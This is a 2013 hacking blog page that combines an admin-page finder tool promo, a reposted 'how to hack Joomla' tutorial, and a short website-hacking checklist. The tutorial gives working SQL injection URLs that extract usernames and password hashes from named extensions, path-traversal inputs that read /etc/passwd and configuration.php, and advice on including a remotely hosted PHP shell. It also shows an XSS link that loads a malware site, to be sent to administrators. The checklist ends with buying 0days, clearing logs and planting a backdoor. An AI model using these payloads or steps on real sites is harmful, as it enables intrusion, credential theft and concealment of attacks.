Tuesday, March 5, 2013

Exploit + Zero Day: Admin Page Finder
Copyright By Edward Maya. Powered by Blogger.
.

Admin Page Finder

Posted on
  • by
  • Chris Defaulter Valentine
  • in
  • Labels:
  • 1337 Admin Page Finder coded in Perl and converted to executable. This tool designed and coded by BK. It is free tool and no license need to run this tool.



     

    Features:

     It uses keywords in 10 languages
     Choice response time
     Choice user agent
     Choice page source code
     Mix list by ~ codex ~ includes php and asp paths
     Find user IP
     Find site IP
     Shows reverse DNS
     Show sites hosted on the same ip  Shows robots.txt if it can be read

    Explained Application Features:

    Enable Response Time:

    This option enables the response time.If you leave it off the default response time is 50 seconds.

    Select Time to Response:

    Select the response time to any request to server. If the request exceeds the time you specify and does not response it passes to the next path.

    Select User Agent:

    This option is important because it helps us to choose which browser will see the server. So the server can not understand if the applications are from a program.

    Select Method:

    Here you have the choice of method and source code

    1) PHP: If the source code is PHP check this

    2) ASP: If the source code is ASP check this

    3) Mix List [PHP+ASP]: Mix List includes a good list of PHP & ASP paths

    4) New Method: Here I will dwell a bit because there is no Admin page finder to do something similar. It was just an idea that was implemented. A smart administrator changes the default login url.

    Example:

    From a http://localhost.gr/administrator/ to http://administrator.localhost.gr/ thus makes it impossible to find using a simple admin page finder.

    This new method does just that.

    It takes URL http://www.localhost.gr Make the split and join http://www adding the path between http://www and localhost.gr forming the URL http://administrator.localhost.gr

    PHPMyAdmin:

    If you want to search for phpmyadmin login check this

    Dir Bruter:

    This option includes a huge list of directory paths.

    Use Custom Dir List:

    Here you can add your own directory paths in file dir.txt
    The dir.txt file is created automatically by pressing the button TXT generator

    Use Mass Scan-Reverse IP First:

    With this option you can scan mass pages but first need to reverse the ip or you can add your own pages in the file reversed sites.txt

    Then just click the button Scan Mass. You can also choose custom path.

    Auto IP Reverser:

    This button reverse the site ip and print the results in program and create one txt file. [ reversed sites.txt ].This txt used for mass scan.


    Download : 1337 Admin Finder
     

    Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.


    0 comments:

    Post a Comment

     
    Copyright (c) 2013 Edward Maya
    Sponsored by : Edward Maya

    how to hack joomla admin password

    :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    :::::::::::::::::::::::::::::: - Chapters - :::::::::::::::::::::::::::::::
    0x01 - Purpose of this document
    0x02 - Introduction
    0x03 - The Basics of Joomla
    0x04 - The Joomla core
    0x05 - Joomla extensions
    0x06 - Hacking Joomla
    0x07 - SEO, our strongest enemy
    0x08 - Examples for Joomla SQL injections
    0x09 - Examples for Joomla local file inclusions
    0x10 - Examples for Joomla remote file inclusions
    0x11 - Examples for Joomla XSSs/CSRFs
    0x12 - How to protect your Joomla
    0x13 - Conclusion and a look at Joomla's feature
    0x14 - How to stay informed (or: the latest vulnerabilities)
    0x15 - Useful tools
    0x16 - Greetings and THX
    :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

    ::
    :: 0x01 - Purpose of this document
    ::

    This document should provide you with security related information about
    Joomla and the extensions which are available for it. This paper focuses
    on how to hack Joomla installations and how to protect them. I do not
    want to motivate you to go out there and hack Joomla websites after you
    have read this document, this paper is more a theoretical view of how
    attackers could compromise the security of a website. It should help
    you to understand basic security mechanics, which finally leads you
    to a point where you are able to protect Joomla websites.

    I also wrote this document in order to summ up some knowledge I gained
    about Joomla. I hope it will be helpful in some way and you learn
    something new. If you find any typos: feel free to drop me a mail
    or simply ignore them. Fuck office / word / word processor -
    vim rules!

    (( This paper was written for educational purposes. Always know and
    respect your local laws. ))


    (( While writing this document I assumed, that the reader already
    gained some knowledge about web security and Joomla. ))



    ::
    :: 0x02 - Introduction
    ::

    When I was looking for a new CMS for my latest project in January 2007,
    I immediately fell in love with Joomla. It was small, it was easy, it
    was new, it was amazing, it felt so fresh and yes, I wanted to sleep
    with it! Finally someone invented a content management system which
    was easy to use and supported categories in categories, basic
    magazine features, easy content handling, awesome extensions management
    and was fast to install.

    While I have been creating countless websites with Joomla, I never
    gave security a thought at the beginning. For me it was just about
    installing Joomla, applying some cool theme and uploading douzends
    of extensions.

    But during the years I started to realize that there are kids and
    automated scripts out there which looked for vulnerable websites and
    "hacked" them automatically. Without any human interaction it was poss-
    ible for them to compromise a Joomla installation and make clueless
    webmasters angry.

    I saw so many defaced sites, being a victim for scripts and not for
    skilled hackers.

    When I started to do some vulnerability and security research at
    March 2010 (the time when I published security related
    documents for the first time), I began to focus on Joomla and the
    extensions which are available for it. I had no partiuclar reasons
    for it, it just happened because so many Joomla websites turned out
    to be unsecure.

    But I also understood that Joomla itself, the core (sounds very
    sci-fi like, doesn't it), seems to be secure in most ways.
    I focused on Joomla extensions and discovered many vulnerabilities,
    therefore in this document we will mostly have a look at stuff which
    is not part of the Joomla core.

    Now grab a coffee, switch on the music (I prefer vocal trance, Tiesto
    is simply awesome btw!) and be invited to dive into the deepest code lines
    and dissections of Joomla.



    ::
    :: 0x03 - The Basics of Joomla
    ::

    Joomla is a content management system and therefore a feature-rich
    application. It is full of functions and possibilities to enhance
    its functionalities, therefore there may be many attack vectors
    in theory.

    When you download Joomla, all you need is a webserver, PHP and MySQL
    in order to run it. The download file comes with the core and at least
    one example theme.

    The Joomla core can be enhanced with the help of..
    - modules,
    - components
    - and plugins (also known as mambots).

    In most cases the components are vulnerable to attacks.
    The modules often only are used to display information in small
    boxes on the websites and contain no features which can be used
    for exploiting weak spots.

    The plugins (mambots) are more likely integrated core parts, e.g.
    they can be used to embed PHP code into normal Joomla articles.

    The components are the most important extensions for this CMS,
    they provide classical functionality, like guestbooks, message
    boards, galleries, user management..

    The Joomla core itself is almost never vulnerable for attacks.
    When you browse the web, you will have a hard time finding
    serious attack vendors. Only some XSS and SQL injection
    vulnerabilities are known and they are already fixed.

    So let's focus on the Joomla components.



    ::
    :: 0x04 - The Joomla core
    ::
     
    Before inspecting the Joomla component attack vendors we first have a
    look at the core.

    Download Joomla somewhere and extract all files. Open the file
    libraries/phpinputfilter/inputfilter.php
    and look at the code:
    ----------------------------------------
      var $tagsArray; // default = empty array
            var $attrArray; // default = empty array

            var $tagsMethod; // default = 0
            var $attrMethod; // default = 0

            var $xssAuto; // default = 1
            var $tagBlacklist = array ('applet', 'body', 'bgsound' [...]
            var $attrBlacklist = array ('action', 'background'     [...]
    ----------------------------------------

    As you can see, some filter methods of Joomla are based on blacklisting.
    This knowledge can be used later to exploit potential vulnerabilities in
    a better way. I find this method not very effective, btw.

    While HTML tags containing "body" or "bgsound" will be filtered out
    at input fields or URL parameters, they can be written in many ways,
    e.g. like "bOdY" or "b o DY" etc. You are only limited by your
    creativity and will find ways for tricking the blacklist of the
    Joomla framework.

    Another interesting part is this one (same file):
    ----------------------------------------
    /*
     * Is there a tag? If so it will certainly start with a '<'
     */
    $tagOpen_start  = strpos($source, '<');
    while ($tagOpen_start !== false)
            {
            /*
             * Get some information about the tag we are processing
             */
             $preTag            .= substr($postTag, 0, $tagOpen_start);
             $postTag                = substr($postTag, $tagOpen_start);
    ----------------------------------------

    As you can see they assume that an HTML tag being used in XSS attacks
    starts with a "<". In fact, I never use this character and many
    XSS cheatsheets suggest this, too. With this information in mind,
    you can most likely avoid being detected by the filters. You can start
    your XSS string with "><tag... for example.

    If you want to you can continue looking. You will find other filter
    methods and, at the end of the file, there are also built in
    mechanics which should help to prevent SQL injection vulnerabilities:

    ----------------------------------------
    $string = mysql_real_escape_string($string);
    ----------------------------------------

    By the way, you might know that mysql_real_escape_string is not
    sufficient for preventing SQL injection attacks. Just to let you know.


    I highly recommend that you get yourself familiar with the Joomla framework
    and the way Joomla works. A good start would be to find out where Joomla
    sets some metatags. While looking for the responsible script, you will
    look over many parts of the Joomla core and therefore gain a basic
    understanding of what's going on in the backstage area.

    And always remember: the more you learn about Joomla, the easier it is
    to exploit vulnerabilities later.

    Something which takes not long for being understood is how to reach
    the backend of Joomla: simply type in
    ..website/administrator
    in your browser and you will find the admin panel there. In most cases
    there is a user called "administrator" or "admin". Try to brute force or
    guess the password of that user. You will wonder how many times it is
    12345 or sex or simply the website's name.



    ::
    :: 0x05 - Joomla extensions
    ::

    Browse extensions.joomla.org and install some components. They are marked
    with a green [C] sign and can be installed by visiting the Joomla backend
    (http://www.your-site.com/joomla/administrator).

    After having installed some of them, go to the menu management and include
    some links to the components on the website. Now visit the website and
    browse through the links. You will notice that the URL looks like this:
    http://www.website.com/joomla/index.php?option=com_blabla&Item=2&ItemId=5

    It so much looks like it contains many attack vendors and is certainly
    screeming for many penetration testing sessions. Please, come and hack me!

    Of course it is not that easy, but look at this URL. It contains the
    following pattern:
    index.php?option= (which calls the component you are visiting)
    com_blabla (the name of the component)
    &Item=2 (some ID, not very interesting)
    &ItemId=5 (some ID, also not very interesting)

    You realize that there is a pattern, don't you? This helps alot while
    trying to hack a Joomla website.

    It is often possible to add well-known variables (parameters) to the URL,
    in most cases Joomla (respectively the component you are visiting) will
    parse them. Some of these parameters are:
    - controller
    - layout
    - category
    - cat
    - visit
    - page

    And you know: the more parameters there are, the more attack vendors might
    exist.



    ::
    :: 0x06 - Hacking Joomla
    ::

    "Enough of this shit, stop talking! How do I hack it???" - Yah, yah.

    Having in mind everything we learned, it is almost impossible to hack
    a Joomla website core which was installed with the latest version.

    Therefore we focus on the extensions (here: components; but modules are
    often vulnerable to XSS attacks). Open your local Joomla test installation
    (of course you don't try this on life websites, don't you?) and click
    through the menu. Notice what components are installed.

    There are the following attack vendors:
    - look for input fields,
    - look at the URL parameters,
    - have a look at the source code,
    - view the robots.txt,
    - try to login via the admin back panel,
    - have a look at the used theme (design)
    - and try to find a PHPMyAdmin installation.

    Concerning the attack vendors for components only, you can use
    SQL injection and XSS attacks for input fields and the URL parameters.
     
    If you don't know how to do that, I suggest you Google it up. Try googling
    for "SQL injection sheet" or "XSS cheat sheet".

    There are many ways for hacking Joomla and some examples will be shown in
    the next chapters.



    ::
    :: 0x07 - SEO, our strongest enemy
    ::

    For attacking Joomla effectively, you will try to manipulate the URLs in
    most cases. This can only be done when they are shown like this:
    http://www.website.com/index.phpoption=com_blabla&Item=2&ItemId=5

    When the URLs are like this
    http://www.website.com/index,51,blabla
    or
    http://www.website.com/guestbook/page2
    you most likely encounter SEO functionallity.

    SEO contains a number of methods which make websites search engine
    friendly. A lot of money can be earned in this area.

    SEF (search engine friendly) URLs are our strongest enemy. They
    hide the original URL from us.

    And when there are no parameters in the URLs, we are unable to
    find parameters which take our input. But what if we are able to
    reconstruct the original URL?

    All we need is
    a) to know what component is currently active,
    b) what parameters it takes and
    c) what their current values are.

    The process of reconstructing contains of obtaining information and
    some decent guessing.

    Have a look at the source code of the current page and look for
    "com_". You most likely will find a part which looks like this:
    ----------------------------------------
    <input type="hidden" name="option" value="com_blabla" />
    <input type="hidden" name="ItemId" value="5" />
    <input type="hidden" name="Item" value="2" />
    <input type="hidden" name="Entry" value="451" />
    <input type="hidden" name="view" value="entries">       
    ----------------------------------------
     
    Bingo! We have everything we need. The original URL is composed by the
    parameters being shown in the code above. Attention: only code snippets
    which do not contain Joomla default components are interesting for us.
    Joomla default components could be com_content or com_search. Especially
    com_search is included in almost every Joomla source code and therefore
    is not very interesting for us - but the related code snippets can be
    misleading.

    Now compose your original URL, simply fill out the well-known URL
    pattern:
    http://www.website.com/
    index.php?option=com_blabla&ItemId=5&Item=2&Entry=451&view=entries

    You understand this part? Good.
    We now have a URL we can work with.

    Let's continue with some practical stuff.



    ::
    :: 0x08 - Examples for Joomla SQL injections
    ::

    The probably most common case for hacked Joomla websites is that
    a SQL injection vulnerability was exploited. A typical URL which
    is affected by this type of vulnerability looks like this:
    index.php?option=com_blabla&category=5&Item=2

    Typically the following parameters are vulnerable:
    - cat, category, kat, categories, kats, cats
    - id, userid, katid, catid
    - sometimes also Item, entry, page

    You can find out if a parameter is vulnerable when you change
    its value from e.g. category=5 to category='.
    Press enter and look for MySQL errors in the website. If you find
    one, you might have discovered a SQL inkjection vulnerability.

    In order to give you a better understanding and feeling of
    how vulnerable URLs might look like, I just show you some
    URLs which are known to be vulnerable (I discovered them):

    URL: index.php?option=com_jp_jobs&view=detail&id=1
    Vulnerable parameter: id

    URL: index.php?option=com_mv_restaurantmenumanager&task=menu_display\
    &Venue=XX&mid=XX&Itemid=XX
    Vulnerable parameter: mid

    URL: index.php?option=com_qpersonel&task=qpListele&katid=2
    Vulnerable parameter: katid

    URL: index.php?com_pandafminigames&Itemid=&task=myscores&userid=2
    Vulnerable parameter: userid

    URL: index.php?option=com_joltcard&Itemid=21&task=view&cardID=6
    Vulnerable parameter: cardID

    URL: index.php?com_bfquiztrial&view=bfquiztrial&catid=1&Itemid=62
    Vulnerable parameter: catid

    URL: index.php?com_golfcourseguide&view=golfcourses&cid=1&id=79
    Vulnerable parameter: id

    URL: index.php?option=com_nkc&view=insc&lang=en&gp=10
    Vulnerable parameter: gp

    Notice how many parameters look familiar to you? Yes, I mentioned them
    earlier as well-known parameters which are affected on regular
    basis :)

    Since every Joomla database contains the same structure (like the same
    tables etc.), we know enough to inject a SQL statement:

    Example #1:
    index.php?option=com_qpersonel&task=qpListele&katid=XX+AND+1=2+UNION+\
    SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat(\
    username, password)--

    Example #2:
    index.php?option=com_pandafminigames&Itemid=&task=myscores&userid=XX+\
    AND+1=2+UNION+SELECT+concat(password),2,concat(password),4,5,6,7,\
    8,9,10,11,12--


    Example #3:
    index.php?option=com_jp_jobs&view=detail&id=1+AND+1=2+UNION+SELECT+\
    group_concat(0x503077337220743020743368206330777321,name,username,\
    password,email,usertype,0x503077337220743020743368206330777321)--

    The selected information will be shown within the website.
    Select a username and password from the table and try to crack the
    MD5 hash with the help of raindbow tables.

    SQL injections in Joomla give us so much freedom as we can get. You can
    select everything you want from the database, and if you are lucky,
    there are also other tables in the databases which do not belong
    to Joomla but still contain some very interesting information.



    ::
    :: 0x09 - Examples for Joomla local file inclusions
    ::

    Local file inclusions are very funny. You tell the website what you
    want to see. Awesome! You want to view the configuration file
    which contains the database login credentials? No problem.
    You want to view the /etc/passwd file if Joomla is hosted
    on a Linux box? You can do that.

    Local file inclusions are also a common problem in Joomla extensions.
    Many of them are vulnerable for this type of attack and some of them
    never get fixed. This may lead to a server hack, which is not
    funny any more - at least for the system administrator.

    A typical URL being vulnerable to LFI looks like this:
    index.php?option=com_blablubb&Item=2&view=guestbookpage

    Typically most of the vulnerable parameters are this one:
    - controller
    - view
    - layout
    - page

    To give you some proper understanding of typical affected
    URLs I provide you with some examples I found earlier this year:

    URL: index.php?option=com_jejob&view=some_value
    Vulnerable Parameter: view

    URL: index.php?option=com_jeajaxeventcalendar&view=some_value
    Vulnerable Parameter: view

    URL: index.php?option=com_jradio&controller=some_value
    Vulnerable Parameter: controller
    ((I didn't find this one.))

    Now let's see how we can use this:
    index.php?option=com_jradio&controller=../../../../etc/passwd

    In this case we need to use the famous Nullbyte which helps us
    to bypass a restriction which is set in the responsible PHP script
    of the component.

    In the example above the controller parameter is used to
    include a file from the local hard disk. This file contains
    useful information for us.

    If you are not familiar with local file inclusions I recommend
    you look a tutorial up since I will not explain any details here.

    Now with the knowledge about a LFI vulnerability within a Joomla
    component, we can try to access the configuration.php of Joomla.
    This file contains very very interesting information.

    Since many LFIs also reveal PHP source code, we try this one:
    index.php?option=com_blabla&view=../../../configuration.php

    The source code of the file is shown and we receive the login
    data for the current database user. Now find a PHPMyAdmin
    login on the same server and try to login with this data.

    You now have access to all Joomla tables and can basically
    do what you want.



    ::
    :: 0x10 - Examples for Joomla remote file inclusions
    ::

    Some Joomla components are also known for containing
    remote file inclusion vulnerabilities. RFIs allow us to
    include files from another server and to execure code on
    the target.

    A typical RFI URL looks like a LFI URL. In order to
    give you a better feeling of how to see a RFI vulner-
    ability within seconds, I show you some examples
    (I did not find this ones):

    URL: index.php?option=com_sef&Itemid=&mosConfig.absolute.path=.
    Vulnerable Parameter: &mosConfig.absolute.path

    URL: index.php?option=com_jomestate&task=.
    Vulnerable Parameter: task

    When you found a RFI vulnerability, try to include your PHP
    shell which is hosted on another box.
    Once you uploaded it, you are able to browse all Joomla files
    and download them, change them, remove them...

    No Joomla installation is safe when there is an exploited
    RFI.



    ::
    :: 0x11 - Examples for Joomla XSSs/CSRFs
    ::

    XSS/CSRF vulnerabilities can mostly be found in input fields,
    such as forms, guestbooks, shoutboxes and search boxes. They
    allow to execute HTML/JS/VBS code within the context of the
    visitor's browser.

    A typical example would be to use this HTML code in order
    to see if an input field or a parameter is vulnerable:
    "><iframe src=http://www.google.com>

    (( Try to avoid quotes in the XSS string. They are escaped
    in most cases because XSS filters do their work. ))

    Notice how the XSS string starts with "> and not with a
    HTML tag itself. This is done in order to close the current
    tag you are in.

    Let's say you are trying this code on an input field.
    The code for this field probably looks like this:
    ----------------------------------------
    <input type="text" name="search" value="" />
    ----------------------------------------

    When a web browser parses the source code of a website and
    displays an input field, you of course do not see the source
    code. But because you are able to do things with the input
    field and are able to select it with your cursor, the browser
    tells you that you are inside this <input..> tag now.
    So while you are typing within an input box, you are
    located somewhere here;
    <input type="text" name="search" value="" />
                                            ^
    So let's say you are within the quotes of the value attribute
    while you type something. This means that the source code looks
    like this at this point: value="SOMETHINGYOUTYPEDIN
    As you can see, the quotes are not closed. So now close the
    quotes and the HTML tag with your XSS string in order to
    have clean and working HTML code as a result:
    "><iframe src=http://www.google.de>

    When you press enter and the browser parses the code, it most
    likely looks like this:
    ----------------------------------------
    <input type="text" name="search" value=""><iframe src=http://...
    ----------------------------------------

    You get the point?
    Another reason why it is a good idea to start a XSS string with
    "> and not with < is the fact that many XSS filters throw out
    or espace the < when it is used in an input field.

    Of course there are also components which allow including
    HTML/JS/VBS code into a parameter. Here are some examples
    I found:

    URL: index.php?option=com_reservations&task=askope&nidser=2\
    &namser=test
    Vulnerable Parameter: namser

    URL: index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0\
    &data_search=test
    Vulnerable Parameter: data_search

    So a good example for an URL containing a XSS string could
    be:
    ----------------------------------------
    index.php?option=com_reservations&task=askope&nidser=2\
    &namser="><iframe src=http://www.your-website-with-some\
    malware-included.com/script.php>
    ----------------------------------------

    Now simply send this link to the administrator of the
    affected Joomla website and he will have your malicious
    website included within his browser. You are now able
    to read out cookies, maybe create a phishing login site
    which fakes the Joomla backend login etc.

    Many people being interesting in IT security think that
    XSS/CSRF attacks are not critical, but in my eyes you
    can cause a lot of damage by injecting code into the
    context of another visitor's browser.

    I discovered a XSS vulnerability within Facebook a few
    months ago, just let your phantasy imagine what you
    could do with this knowledge when you have a criminal
    mind.

    Performing such attacks are a normal part of web security
    and can be very dangerous, that is why they are so
    pupular.



    ::
    :: 0x12 - How to protect your Joomla
    ::

    So far whe have covered most of the hacking parts about
    Joomla. Having some knowledge about web security and
    having read this paper, you now should be able to
    hack Joomla websites within minutes. Of course
    you shouldn't do this, and I hope you only use this
    knowledge in order to protect your own or other Joomla
    websites ;)

    Speaking of protecting Joomla... how can we prevent
    kiddies and skilled "hackers" from breaking into
    your Joomla installation?

    At first make sure you follow these simple, but
    important rules:

    a)
    Always keep Joomla up2date

    b)
    Always make sure you run the latest patched
    versions of the extensions you used

    c)
    Make sure you choose strong passwords for all
    logins

    d)
    Check your own website for vulnerabilities, you
    now know how to do this

    e)
    Always check the webserver's log files for
    potential hack attempts

    f)
    Secure your server if you host your Joomla
    website on a VPS or even a dedicated server

    g)
    Create a list of all extensions you use and
    try to monitor them. For example you can use
    Google or security websites for staying
    informed about the latest vulnerabilities.
    Only use secure extensions.

    Furthermore you can apply our secret weapon which
    holds off like 90 percent of all script kiddie
    and automated script attacks:
    SEO!

    Activate the SEO features, use SEF URLs and have
    fun watching your webserver logfile
    (use tail -f /var/log/apache2/access_log for this)
    while automated mechanisms try to hack your website,
    but fail because you hide your real URLs from them :)

    Furthermore most tools and scanners are not able to
    work with search engine friendly URLs (I have the same
    problem with my self-written tools, too :\).

    This might be a big surprise, but with these
    measures you already gained a decent protection
    level.

    The last things to do would be to rename the Joomla
    backend folder from "administrator" to may be
    "admin_acp_1234567" in order to prevent kiddies
    and scanners from finding your Joomla backend.

    And, last but not least, protect the PHPMyAdmin
    login (if you have any) with .htaccess files :)

    (( You can't do this with the Joomla admin control
    panel since some components need to have access to
    administrator/components..)



    ::
    :: 0x13 - Conclusion and a look at Joomla's feature
    ::

    We have learned how to hack Joomla website and how
    to protect them. We now know how attackers think and
    what they try to do. They mainly focus on URL parameters
    and input fields. They have a look at the robots.txt,
    at the source code and try to find your Joomla backend
    or the PHPMyAdmin page.

    In fact hacking Joomla is not even difficult. All it
    requires is the little knowledge being described
    here and some patience.

    A good thing is that Joomla itself is mostly secure,
    while a sad fact is that so many Joomla components are
    vulnerable to attacks which could be prevented
    by applying simple filter mechanisms.

    The main problem is that there are so many Joomla
    extensions authors who don't have a good security
    awareness and simply don*t know about potential flaws
    (or even worse: they just ignore them).

    The Joomla team can't do anything about this,
    but what they can do is maybe introduce some sort of
    premium extension database. A database which lists
    secure components which are tested/checked on regular
    basis. With such a system it would be possible to
    create a download platform for secure addons -
    some sort of premium app store, so to speak :)

    Another possibility would be to force extensions
    to run their input/output through filters which are
    located in the Joomla framework. But as long as the
    Joomla built-in methods are not good enough, this is
    not a big help.

    A third solution would be to only publish extensions
    on extensions.joomla.org when their authors have
    passed some simple tests. The topics could be web
    security, basic coding and secure GET/POST stuff.

    Such initiatives could only come from the Joomla
    community, and as long they don't run a program like
    that, Joomla will remain a very unsecure CMS
    (because of the available extensions, not because
    of the core).

    This is maybe one of the things which prevents
    the Joomla CMS from a even bigger breakthrough.

    Not a small number of companies still try to avoid
    using Joomla since they are concerned about security
    issues.



    ::
    :: 0x14 - How to stay informed (or: the latest vulnerabilities)
    ::

    There are many ways to inform yourself about the latest
    threads etc. One method would be to google for
    "com__blablubb vulnerability", where blablubb is the name
    of a component you use. If there are no serious results on
    the first two pages, there is a good chance that this ex-
    tension might be secure enough.

    An even better idea is to open up your browser and visit
    exploit-db.com and use the search feature.

    An interesting project about unsecure Joomla components
    is joomlaexploit.com. It contains a large list of
    components which goes back to 2006 (the time when
    Joomla emerged from Mambo). It is not complete and you
    won't find any details about the vulnerabilities there,
    but at least you have a list of potential threads for
    your website.

    And of course there is the famous
    docs.joomla.org/Vulnerable_Extensions_List
    , a maybe unreliable source because the information there
    is not up2date and everything is based on humans working
    on that list. But still I think they do a great job, having
    in mind that they work there for free.

    You can see that it is easy to stay informed, so
    don't be lazy and read this stuff daily.



    ::
    :: 0x15 - Useful tools
    ::

    Manual testing is awesome, but automated checks are faster and
    maybe even more reliable. Here are some self-written tools
    you could use for your purposes:

    #1
    Joomla QPersonel Exploit
    http://www.xenuser.org/exploits/joomla_com_qpersonel_sploit.py

    #2
    Automated Joomla SQL Injection Exploiter
    http://www.xenuser.org/exploits/joomla_sqli_sploiter.py

    #3
    Joomla BF Quiz Exploit
    http://www.xenuser.org/exploits/joomla_com_bfquiz_sploit.py

    #4
    Column Fuzzer
    http://xenuser.org/tools/column_finder.py

    #5
    Simple SQL Injection Vulnerability Scanner
    http://www.xenuser.org/tools/sqli_scanner.py

    #6
    Simple Log File Analyzer
    http://www.xenuser.org/tools/scan_log.py

    #7
    Simple Local File Inclusion Exploiter
    http://www.xenuser.org/tools/lfi_sploiter.py

    These tools can help you to exploit vulnerabilities
    within Joomla or some extensions.

    Read the help (included in those tools) for details.

    The Simple Log File Analyzer could be used for
    scanning your Apache log files. It shows if there
    are hack attempts.

    Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

    website hacking

    1.) reconnaissance.
    2.) Scan for open ports.
    3.) See if there is any Vulnerability.
    4.) Get the exploits for the vulnerability.
    5.) If you don't get a Vulnerability, ask underground market for 0days
    6.) run the expl0it and r00t the server.
    7.) clear the log files and add your backd00r
    8.) add more wheels (account priviledges) to it.